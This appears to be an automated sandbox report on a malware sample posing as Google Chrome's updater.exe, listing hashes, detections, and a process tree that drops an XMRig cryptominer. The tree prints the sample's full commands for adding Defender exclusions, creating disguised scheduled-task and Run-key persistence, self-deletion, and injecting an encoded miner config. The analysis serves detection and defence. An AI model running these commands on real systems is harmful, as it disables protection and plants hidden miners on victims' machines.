Overview
overview
10Static
static
3grhsghsGHs...y8.exe
windows7-x64
10grhsghsGHs...SE.exe
windows7-x64
10grhsghsGHs...CD.exe
windows7-x64
10grhsghsGHs...Da.exe
windows7-x64
10grhsghsGHs...wq.exe
windows7-x64
10grhsghsGHs...r7.exe
windows7-x64
10grhsghsGHs...XJ.exe
windows7-x64
10grhsghsGHs...eg.exe
windows7-x64
10grhsghsGHs...5H.exe
windows7-x64
10grhsghsGHs...XN.exe
windows7-x64
10grhsghsGHs...T3.exe
windows7-x64
10grhsghsGHs...9r.exe
windows7-x64
10grhsghsGHs...GR.exe
windows7-x64
10grhsghsGHs...EX.exe
windows7-x64
10grhsghsGHs...EA.exe
windows7-x64
10grhsghsGHs...FB.exe
windows7-x64
10grhsghsGHs...Et.exe
windows7-x64
10grhsghsGHs...KX.exe
windows7-x64
10grhsghsGHs...Qp.exe
windows7-x64
10grhsghsGHs...ep.exe
windows7-x64
10grhsghsGHs...5e.exe
windows7-x64
10grhsghsGHs...EP.exe
windows7-x64
10grhsghsGHs...pS.exe
windows7-x64
10grhsghsGHs...HZ.exe
windows7-x64
10grhsghsGHs...Sj.exe
windows7-x64
10grhsghsGHs...Nq.exe
windows7-x64
10grhsghsGHs...Ey.exe
windows7-x64
10Resubmissions
25-01-2024 16:55
240125-vfcyksbhgr 1024-01-2024 17:15
240124-vstf4aecaj 1023-01-2024 19:27
240123-x6cfvagbd9 1023-01-2024 19:27
240123-x6bvbafgem 1023-01-2024 19:27
240123-x6bjjsgbd8 1023-01-2024 19:27
240123-x6ax1sfgek 1023-01-2024 19:27
240123-x6abgsfgej 1023-01-2024 19:27
240123-x591qagbd7 1023-01-2024 19:27
240123-x59d7agbd6 1023-01-2024 19:27
240123-x584esgbd5 10Analysis
-
max time kernel
430s -
max time network
1796s -
platform
windows7_x64 -
resource
win7-20231129-en -
resource tags
arch:x64arch:x86image:win7-20231129-enlocale:en-usos:windows7-x64system -
submitted
25-01-2024 16:55
Static task
static1
Behavioral task
behavioral1
Sample
grhsghsGHswgh/3JynzWc6LxNCT2y8.exe
Resource
win7-20231215-en
Behavioral task
behavioral2
Sample
grhsghsGHswgh/6aNn9vLJCQVfagSE.exe
Resource
win7-20231215-en
Behavioral task
behavioral3
Sample
grhsghsGHswgh/6vHkJ4UErTSS5ECD.exe
Resource
win7-20231215-en
Behavioral task
behavioral4
Sample
grhsghsGHswgh/Be5sCbvuma2nkHDa.exe
Resource
win7-20231129-en
Behavioral task
behavioral5
Sample
grhsghsGHswgh/DLKFnAGYJBNTnxwq.exe
Resource
win7-20231215-en
Behavioral task
behavioral6
Sample
grhsghsGHswgh/EtPLMpbCyFJpMJr7.exe
Resource
win7-20231215-en
Behavioral task
behavioral7
Sample
grhsghsGHswgh/Gu3PdXt79NF7EJXJ.exe
Resource
win7-20231215-en
Behavioral task
behavioral8
Sample
grhsghsGHswgh/JqLvG94UkYjhxAeg.exe
Resource
win7-20231215-en
Behavioral task
behavioral9
Sample
grhsghsGHswgh/LM3BR4UBmKBzBP5H.exe
Resource
win7-20231215-en
Behavioral task
behavioral10
Sample
grhsghsGHswgh/M8xUNW42QxTLMRXN.exe
Resource
win7-20231129-en
Behavioral task
behavioral11
Sample
grhsghsGHswgh/Q5EUCWHU7pMYBfT3.exe
Resource
win7-20231129-en
Behavioral task
behavioral12
Sample
grhsghsGHswgh/UMRsPGc4u9tycx9r.exe
Resource
win7-20231215-en
Behavioral task
behavioral13
Sample
grhsghsGHswgh/UU4Ddwqm5zcuLzGR.exe
Resource
win7-20231215-en
Behavioral task
behavioral14
Sample
grhsghsGHswgh/XJEzW6M7WvHaF3EX.exe
Resource
win7-20231215-en
Behavioral task
behavioral15
Sample
grhsghsGHswgh/Y2JYGshMHJGuGREA.exe
Resource
win7-20231129-en
Behavioral task
behavioral16
Sample
grhsghsGHswgh/Yvdp8t5knpQz7sFB.exe
Resource
win7-20231215-en
Behavioral task
behavioral17
Sample
grhsghsGHswgh/anDwkygzqtN6BKEt.exe
Resource
win7-20231129-en
Behavioral task
behavioral18
Sample
grhsghsGHswgh/bW3Td8vedKuGbSKX.exe
Resource
win7-20231215-en
Behavioral task
behavioral19
Sample
grhsghsGHswgh/cZ8JugqVuxAY52Qp.exe
Resource
win7-20231129-en
Behavioral task
behavioral20
Sample
grhsghsGHswgh/h5JMkDJvUkEMMWep.exe
Resource
win7-20231129-en
Behavioral task
behavioral21
Sample
grhsghsGHswgh/qM5GMXBk6hJE6Y5e.exe
Resource
win7-20231215-en
Behavioral task
behavioral22
Sample
grhsghsGHswgh/rUqNxUB6WWxdsfEP.exe
Resource
win7-20231215-en
Behavioral task
behavioral23
Sample
grhsghsGHswgh/rkUvkExvRhkxKUpS.exe
Resource
win7-20231129-en
Behavioral task
behavioral24
Sample
grhsghsGHswgh/u3GgbfA2e32fHMHZ.exe
Resource
win7-20231215-en
Behavioral task
behavioral25
Sample
grhsghsGHswgh/xQQTm7rAusnqpUSj.exe
Resource
win7-20231215-en
Behavioral task
behavioral26
Sample
grhsghsGHswgh/xxgg94VsN5GYyJNq.exe
Resource
win7-20231215-en
General
-
Target
grhsghsGHswgh/M8xUNW42QxTLMRXN.exe
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Size
2.0MB
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MD5
a16a669a09bf158058b83e04e69fe38e
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SHA1
f6c94763850d9e590d86057139e8895a7aacdeea
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SHA256
cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e
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SHA512
658b52ad1d27becee5b5bbd443d43da38b88d49880e72c8cb843f176a2d84d571b39c34dbc7cfb7ea56acc548acc5b68cce47a8bcf9d173feec031f7e33a09c6
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SSDEEP
49152:rWVipAxqo5p88CbXuxWQiSJU320ZW21Q0YWAij64ane6szjmL/45:rxAEcp9ueXit9WAQ0YWuO
Malware Config
Signatures
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Suspicious use of NtCreateUserProcessOtherParentProcess 9 IoCs
description pid Process procid_target PID 2020 created 1340 2020 M8xUNW42QxTLMRXN.exe 9 PID 2020 created 1340 2020 M8xUNW42QxTLMRXN.exe 9 PID 2020 created 1340 2020 M8xUNW42QxTLMRXN.exe 9 PID 2020 created 1340 2020 M8xUNW42QxTLMRXN.exe 9 PID 1976 created 1340 1976 updater.exe 9 PID 1976 created 1340 1976 updater.exe 9 PID 1976 created 1340 1976 updater.exe 9 PID 1976 created 1340 1976 updater.exe 9 PID 1976 created 1340 1976 updater.exe 9 -
XMRig Miner payload 29 IoCs
resource yara_rule behavioral10/memory/2232-71-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral10/memory/2232-73-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral10/memory/2232-77-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral10/memory/2232-79-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral10/memory/2232-81-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral10/memory/2232-83-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral10/memory/2232-85-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral10/memory/2232-87-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral10/memory/2232-89-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral10/memory/2232-91-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral10/memory/2232-93-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral10/memory/2232-95-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral10/memory/2232-97-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral10/memory/2232-99-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral10/memory/2232-101-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral10/memory/2232-103-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral10/memory/2232-105-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral10/memory/2232-107-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral10/memory/2232-109-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral10/memory/2232-111-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral10/memory/2232-113-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral10/memory/2232-115-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral10/memory/2232-117-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral10/memory/2232-119-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral10/memory/2232-121-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral10/memory/2232-123-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral10/memory/2232-125-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral10/memory/2232-127-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral10/memory/2232-129-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig -
Deletes itself 1 IoCs
pid Process 2580 cmd.exe -
Executes dropped EXE 1 IoCs
pid Process 1976 updater.exe -
Loads dropped DLL 1 IoCs
pid Process 3020 taskeng.exe -
resource yara_rule behavioral10/memory/2232-66-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral10/memory/2232-71-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral10/memory/2232-73-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral10/memory/2232-77-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral10/memory/2232-79-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral10/memory/2232-81-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral10/memory/2232-83-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral10/memory/2232-85-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral10/memory/2232-87-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral10/memory/2232-89-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral10/memory/2232-91-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral10/memory/2232-93-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral10/memory/2232-95-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral10/memory/2232-97-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral10/memory/2232-99-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral10/memory/2232-101-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral10/memory/2232-103-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral10/memory/2232-105-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral10/memory/2232-107-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral10/memory/2232-109-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral10/memory/2232-111-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral10/memory/2232-113-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral10/memory/2232-115-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral10/memory/2232-117-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral10/memory/2232-119-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral10/memory/2232-121-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral10/memory/2232-123-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral10/memory/2232-125-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral10/memory/2232-127-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral10/memory/2232-129-0x0000000140000000-0x00000001407F4000-memory.dmp upx -
Drops file in System32 directory 5 IoCs
description ioc Process File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe -
Suspicious use of SetThreadContext 2 IoCs
description pid Process procid_target PID 1976 set thread context of 1588 1976 updater.exe 52 PID 1976 set thread context of 2232 1976 updater.exe 47 -
Drops file in Program Files directory 4 IoCs
description ioc Process File created C:\Program Files\Google\Chrome\updater.exe M8xUNW42QxTLMRXN.exe File created C:\Program Files\Google\Libs\WR64.sys updater.exe File created C:\Program Files\Google\Libs\g.log cmd.exe File created C:\Program Files\Google\Libs\g.log cmd.exe -
Creates scheduled task(s) 1 TTPs 2 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 2476 schtasks.exe 2812 schtasks.exe -
Detects videocard installed 1 TTPs 1 IoCs
Uses WMIC.exe to determine videocard installed.
pid Process 2304 WMIC.exe -
Modifies data under HKEY_USERS 3 IoCs
description ioc Process Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage powershell.exe Set value (data) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\StartPage\StartMenu_Start_Time = 10b99455b24fda01 powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ WMIC.exe -
Suspicious behavior: EnumeratesProcesses 25 IoCs
pid Process 2020 M8xUNW42QxTLMRXN.exe 2020 M8xUNW42QxTLMRXN.exe 2228 powershell.exe 2020 M8xUNW42QxTLMRXN.exe 2020 M8xUNW42QxTLMRXN.exe 2640 powershell.exe 2020 M8xUNW42QxTLMRXN.exe 2020 M8xUNW42QxTLMRXN.exe 2020 M8xUNW42QxTLMRXN.exe 2020 M8xUNW42QxTLMRXN.exe 2468 powershell.exe 1976 updater.exe 1976 updater.exe 1164 powershell.exe 1976 updater.exe 1976 updater.exe 2428 powershell.exe 1976 updater.exe 1976 updater.exe 1976 updater.exe 1976 updater.exe 1588 conhost.exe 1588 conhost.exe 1976 updater.exe 1976 updater.exe -
Suspicious use of AdjustPrivilegeToken 31 IoCs
description pid Process Token: SeDebugPrivilege 2228 powershell.exe Token: SeDebugPrivilege 2640 powershell.exe Token: SeDebugPrivilege 2468 powershell.exe Token: SeDebugPrivilege 1164 powershell.exe Token: SeDebugPrivilege 2428 powershell.exe Token: SeDebugPrivilege 1976 updater.exe Token: SeAssignPrimaryTokenPrivilege 2304 WMIC.exe Token: SeIncreaseQuotaPrivilege 2304 WMIC.exe Token: SeSecurityPrivilege 2304 WMIC.exe Token: SeTakeOwnershipPrivilege 2304 WMIC.exe Token: SeLoadDriverPrivilege 2304 WMIC.exe Token: SeSystemtimePrivilege 2304 WMIC.exe Token: SeBackupPrivilege 2304 WMIC.exe Token: SeRestorePrivilege 2304 WMIC.exe Token: SeShutdownPrivilege 2304 WMIC.exe Token: SeSystemEnvironmentPrivilege 2304 WMIC.exe Token: SeUndockPrivilege 2304 WMIC.exe Token: SeManageVolumePrivilege 2304 WMIC.exe Token: SeAssignPrimaryTokenPrivilege 2304 WMIC.exe Token: SeIncreaseQuotaPrivilege 2304 WMIC.exe Token: SeSecurityPrivilege 2304 WMIC.exe Token: SeTakeOwnershipPrivilege 2304 WMIC.exe Token: SeLoadDriverPrivilege 2304 WMIC.exe Token: SeSystemtimePrivilege 2304 WMIC.exe Token: SeBackupPrivilege 2304 WMIC.exe Token: SeRestorePrivilege 2304 WMIC.exe Token: SeShutdownPrivilege 2304 WMIC.exe Token: SeSystemEnvironmentPrivilege 2304 WMIC.exe Token: SeUndockPrivilege 2304 WMIC.exe Token: SeManageVolumePrivilege 2304 WMIC.exe Token: SeLockMemoryPrivilege 2232 conhost.exe -
Suspicious use of WriteProcessMemory 20 IoCs
description pid Process procid_target PID 2640 wrote to memory of 2476 2640 powershell.exe 32 PID 2640 wrote to memory of 2476 2640 powershell.exe 32 PID 2640 wrote to memory of 2476 2640 powershell.exe 32 PID 2580 wrote to memory of 2616 2580 cmd.exe 33 PID 2580 wrote to memory of 2616 2580 cmd.exe 33 PID 2580 wrote to memory of 2616 2580 cmd.exe 33 PID 2468 wrote to memory of 2720 2468 powershell.exe 35 PID 2468 wrote to memory of 2720 2468 powershell.exe 35 PID 2468 wrote to memory of 2720 2468 powershell.exe 35 PID 3020 wrote to memory of 1976 3020 taskeng.exe 40 PID 3020 wrote to memory of 1976 3020 taskeng.exe 40 PID 3020 wrote to memory of 1976 3020 taskeng.exe 40 PID 2428 wrote to memory of 2812 2428 powershell.exe 53 PID 2428 wrote to memory of 2812 2428 powershell.exe 53 PID 2428 wrote to memory of 2812 2428 powershell.exe 53 PID 1976 wrote to memory of 1588 1976 updater.exe 52 PID 1628 wrote to memory of 2304 1628 cmd.exe 46 PID 1628 wrote to memory of 2304 1628 cmd.exe 46 PID 1628 wrote to memory of 2304 1628 cmd.exe 46 PID 1976 wrote to memory of 2232 1976 updater.exe 47 -
Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
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C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵PID:1340
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C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\M8xUNW42QxTLMRXN.exe"C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\M8xUNW42QxTLMRXN.exe"2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
PID:2020
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force2⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2228
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }2⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2640 -
C:\Windows\system32\schtasks.exe"C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn GoogleUpdateTaskMachineQC /tr "'C:\Program Files\Google\Chrome\updater.exe'"3⤵
- Creates scheduled task(s)
PID:2476
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C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\M8xUNW42QxTLMRXN.exe"2⤵
- Deletes itself
- Suspicious use of WriteProcessMemory
PID:2580
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#glbtb#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "GoogleUpdateTaskMachineQC" } Else { "C:\Program Files\Google\Chrome\updater.exe" }2⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2468
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force2⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1164
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }2⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2428 -
C:\Windows\system32\schtasks.exe"C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn GoogleUpdateTaskMachineQC /tr "'C:\Program Files\Google\Chrome\updater.exe'"3⤵
- Creates scheduled task(s)
PID:2812
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C:\Windows\System32\conhost.exeC:\Windows\System32\conhost.exe coygkprqxpklmnvz 6E3sjfZq2rJQaxvLPmXgsF7vH8nKLC0ur3jCwye3fPooFst8AJlNjZc1TvSyIQTKz3bkbADxizSwgp6IHJKg4enmph7iNmIeAYcJJRGkawcinVbrMdr45fHmW9ZqCrw3dSLKVMKzrI2u4sgGlTj0G1RmIYUpqYq+tIjGyNap0si+Bl1xh/1o3aGmtmdST7PlUgkYz6ci8qWCk/Icfx3DrSi2oQaBV3Dr68Ysn/4ifK09AI9K4Wz/J2kKABX44SMSz/klz2Q+FtxUOLuLpB0ApMJVvTxUIOnUHLATPgLq86uJLXtnMRoz90CklrR3X6ggj+Qodet1aWyPnFIog0clkH9Lt1wIn/XNs6NZ/3bJg2NyJ2xuvDRy+oOBgUebKWiz2⤵
- Suspicious use of AdjustPrivilegeToken
PID:2232
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C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"2⤵
- Drops file in Program Files directory
PID:2928
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C:\Windows\System32\conhost.exeC:\Windows\System32\conhost.exe qtdiqnkejoz2⤵
- Suspicious behavior: EnumeratesProcesses
PID:1588
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C:\Windows\System32\choice.exechoice /C Y /N /D Y /T 31⤵PID:2616
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C:\Windows\system32\schtasks.exe"C:\Windows\system32\schtasks.exe" /run /tn GoogleUpdateTaskMachineQC1⤵PID:2720
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C:\Windows\system32\taskeng.exetaskeng.exe {B4A906A6-0C6A-40CF-B345-52182F5F1FE3} S-1-5-18:NT AUTHORITY\System:Service:1⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:3020 -
C:\Program Files\Google\Chrome\updater.exe"C:\Program Files\Google\Chrome\updater.exe"2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1976
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C:\Windows\System32\Wbem\WMIC.exewmic PATH Win32_VideoController GET Name, VideoProcessor1⤵
- Detects videocard installed
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
PID:2304
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C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"1⤵
- Drops file in Program Files directory
- Suspicious use of WriteProcessMemory
PID:1628
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
753KB
MD55e86fa309f0569bca22a5a3f3332de33
SHA189aa1264fdd273ec7a16655960e08590889321de
SHA2566e296b0515884285810b10115366ce5cfd2dd96c978188b21f049edc06c15f1b
SHA512f47acb287d4604cca4ece5ec54b5e4c1f9e6d2f2b1ee6435c98baf126e89a4619c846a400478fde561e3e775b5008334734bf161cfe791f2100fee06713cad77
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Filesize
118KB
MD58c0a31d0f7e2ce3dea0e769e082a03ae
SHA11c4fd9ef61364650ad4879f336bd7573a85ad808
SHA256a8f0f4cd5ce28fee1980f6ad2d08ce36ee6156a57e2147076746d392c6c2ad64
SHA5125228a0c4ac1c42acb674a07d7010957fa524122b9d14c10dbb5f627d097b263edbc858903ca6156d4edb0d4744fa281c68b59b2df887650cc6510d82963a4fb8
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Filesize
198B
MD537dd19b2be4fa7635ad6a2f3238c4af1
SHA1e5b2c034636b434faee84e82e3bce3a3d3561943
SHA2568066872eea036f3ff59d58ff82ea1d5a8248ebc3c2b6161a17fe5c48441edc07
SHA51286e8550412f282e18ef0c6417ee94e9c141433913452efffb738d92f040e20ecc5e2250e9e2ac1f94c248eab83a601cba5b006e982a4aefe9dcb88e9c53c67e5
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C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms
Filesize7KB
MD500308cf4c8cf56827388f1a3ea9fd524
SHA1a362233dc7233904d3e3622add1179aeef96e7a8
SHA256a2812061a4b69b46bef1c3886ed5f9b0e8904e9d42b3a57e97e48737fb7db6eb
SHA512e2f2f718a094902f5fe22f722af2a4f2b70b9d68089d3c47214aa5ce7f7d3c2ebec0568ffb3bd066eb64657a4f06a9ad8175cae25a2acfdee97c184e4558ddbc
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Filesize
600KB
MD5c74cdac9f618099b3a88c2399ff4adaa
SHA185a9a371be8d4b4cc5dc0dc05a46247f81a7ce03
SHA2560ab2803361bceac06ac2190913045a2ff21d3b4dbf05c74fd1e3ceb041eba2b6
SHA51208d4b072f4af6686b27fd298af341a017227f3c0656b0ced05e755e72b78cc2e30af37bd679eca58dcc74e8d0ad0dbcf17b02c4be4232d2065bc842f55b89e63